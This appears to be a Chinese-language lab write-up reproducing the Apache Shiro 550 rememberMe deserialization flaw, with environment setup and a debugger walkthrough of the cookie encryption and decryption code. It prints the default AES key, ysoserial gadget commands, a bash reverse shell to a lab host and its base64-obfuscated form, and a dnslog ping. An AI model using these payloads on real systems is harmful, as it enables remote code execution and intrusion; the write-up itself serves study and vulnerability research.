shiro 反序列化漏洞复现
漏洞详情
Apache Shiro 是一个开源安全框架,提供身份验证、授权、密码学和会话管理。在它编号为 550 的 issue 中爆出严重的 Java 反序列化漏洞。
在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,这就为伪造 cookie 提供了机会。只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞。
Shiro 的 “记住我” 功能是设置 cookie 中的 rememberMe 值来实现。当后端接收到来自未经身份验证的用户的请求时,它将通过执行以下操作来寻找他们记住的身份:
- 检索 cookie 中 RememberMe 的值
- Base64 解码
- 使用 AES 解密
- 反序列化
漏洞原因在于第三步,在 Apache Shiro<=1.2.4 版本中 AES 加密时采用的 key 是硬编码在代码中的,于是我们就可以构造 RememberMe 的值,然后让其反序列化执行。
只要 rememberMe 的 AES 加密密钥泄露,无论 shiro 是什么版本都会导致反序列化漏洞。
环境搭建
Windows10 + IDEA
shiro 1.2.4
tomcat 8.5.73
下载 shiro 1.2.4
github地址: https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
或者 clone shiro源码 , 切换 1.2.4 有漏洞的版本
1 | git clone https://github.com/apache/shiro.git |
使用 IDEA 进行环境搭建
打开 samples/web/pom.xml , 支持 jsp
1 | <dependency> |
使用 IDEA 运行 , 先配置 运行环境
添加 TomcatSever (local) , 配置 Tomcat 路径
tomcat8 下载地址: https://tomcat.apache.org/download-80.cgi
添加部署工件 “samples-web:war
“
详细配置信息
运行截图
使用 Vulhub Docker 搭建
1 | cd vulhub/shiro/CVE-2016-4437 |
漏洞复现
payload生成过程
1 | 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值 |
vulhub Docker 环境
使用ysoserial
生成CommonsBeanutils1的Gadget:
1 | java -jar ./ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser |
ysoserial 项目地址: https://github.com/frohoff/ysoserial
shiro 1.2.4 版本 , 使用的是默认key: kPH+bIxk5D2deZiIxcaaaA==
AES加密 cc链 , 为rememberMe的Cookie值
1 | import sys |
运行脚本, 得到payload
1 | python test.py "touch /tmp/123456" |
发送请求包
1 | // 加 -I 是只看响应头,这里主要关注set-cookie:rememberMe |
或者使用Burp抓包发送
查看靶机, 可以看到已经生成了
反弹shell
1 | bash -i >& /dev/tcp/192.168.56.1/9090 0>&1 |
但是这条命令却没有成功执行, 应该是部分字符被编码导致的
bash命令 混淆, https://www.jackson-t.ca/runtime-exec-payloads.html
1 | bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEvOTA5MCAwPiYx}|{base64,-d}|{bash,-i} |
成功接收命令 , 反弹shell成功
windows 10 + IDEA
添加 commons-collections4 , 这样才能使用 CommonsCollections2 链 进行攻击
打开 samples/web/pom.xml
1 | <dependency> |
使用 CommonsCollections2 链 ,
1 | python .\test.py "ping 4bwtjr.dnslog.cn" |
漏洞原理
Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,产生原因是因为shiro接受了Cookie里面rememberMe
的值,然后去进行Base64解密后,再使用aes密钥解密后的数据,进行反序列化。
反过来思考一下,如果我们构造该值为一个cc链序列化后的值进行该密钥aes加密后进行base64加密,那么这时候就会去进行反序列化我们的payload内容,这时候就可以达到一个命令执行的效果。
1 | 获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作 |
序列化过程
先找到 硬编码 key 的位置
1 | org/apache/shiro/mgt/AbstractRememberMeManager.java |
向上溯源:找到RememberMeManager类的onSuccessfulLogin方法
onSuccessfulLogin : 处理成功登录的过程
在这里下一个断点 , 调试运行
浏览器登录 , 查看 调试信息
ps : 记得勾选 rememberMe
IDEA 调试信息
跳转进入 forgetIdentity 函数 ,
继续跟进this.forgetIdentity方法,进入了getCookie的removeFrom方法
跟进removeFrom方法
这里获取看配置信息,最后 addCookieHeader 放到了返回包中的cookie头中,
其中就有熟悉的 deleteMe 字段和 rememberMe 字段,
继续回到 onSuccessfulLogin 方法 , 这个isRememberMe主要是检查选择了remember me这个按钮没有
在rememberIdentity方法中,authcInfo的值就是我们输入root用户名
进入convertPrincipalsToBytes方法,发现它会序列化,而且序列化的是传入的root用户名
然后就是进行普通的序列化操作,再然后调用encrypto方法加密序列化后的二进制字节
getCipherService 获取加密服务 , 加密方法为 AES/CBC/PKCS5Padding
getEncryptionCipherKey()
方法 获取 加密密钥KEY
经过一系列跳转后, 拿到KEY
DEFAULT_CIPHER_KEY_BYTES : kPH+bIxk5D2deZiIxcaaaA==
1 | ByteSource byteSource = cipherService.encrypt(serialized, getEncryptionCipherKey()); |
传入 encrypt 函数 (root , “kPH+bIxk5D2deZiIxcaaaA==”)
回到 rememberIdentity 方法
跟进 rememberSerializedIdentity 方法 , 进行SetCookie
反序列化过程
在 getRememberedPrincipals 方法下断点
跟进getRememberedSerializedIdentity 方法 , 读取 Cookie 中的数据
readValue方法, 读取 Cookie中的字段 name: rememberMe
然后把Cookie 赋值给 value , 返回上一级函数
对base64 进行解码
- 再次回到AbstractRememberMeManager 类
- 进入 convertBytesToPrincipals 方法,这就是对应加密的解析数据,中间肯定要解密数据,继续跟入
跟进 decrypt 解密函数
getCipherService() 获取 加解密 方法, AES/CBC/PKCS5Padding
getDecryptionCipherKey() 获取 解密KEY , kPH+bIxk5D2deZiIxcaaaA==
跟进 JcaCipherService 的decrypt 函数
1 | public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException { |
1 | return decrypt(encrypted, key, iv); |
跟进 这个 decrypt 函数 ,
跟到 JcaCipherService 中的 crypt 方法
1 | javax.crypto.Cipher cipher = initNewCipher(mode, key, iv, false); |
crypt(cipher, bytes)
完成解密 , 然后跳转回convertBytesToPrincipals函数 , 进行序列化操作
跟进 deserialize() 函数
继续跟进, 能看到 熟悉的 反序列化操作
好了, 到这里 , 漏洞原理复现就全部结束了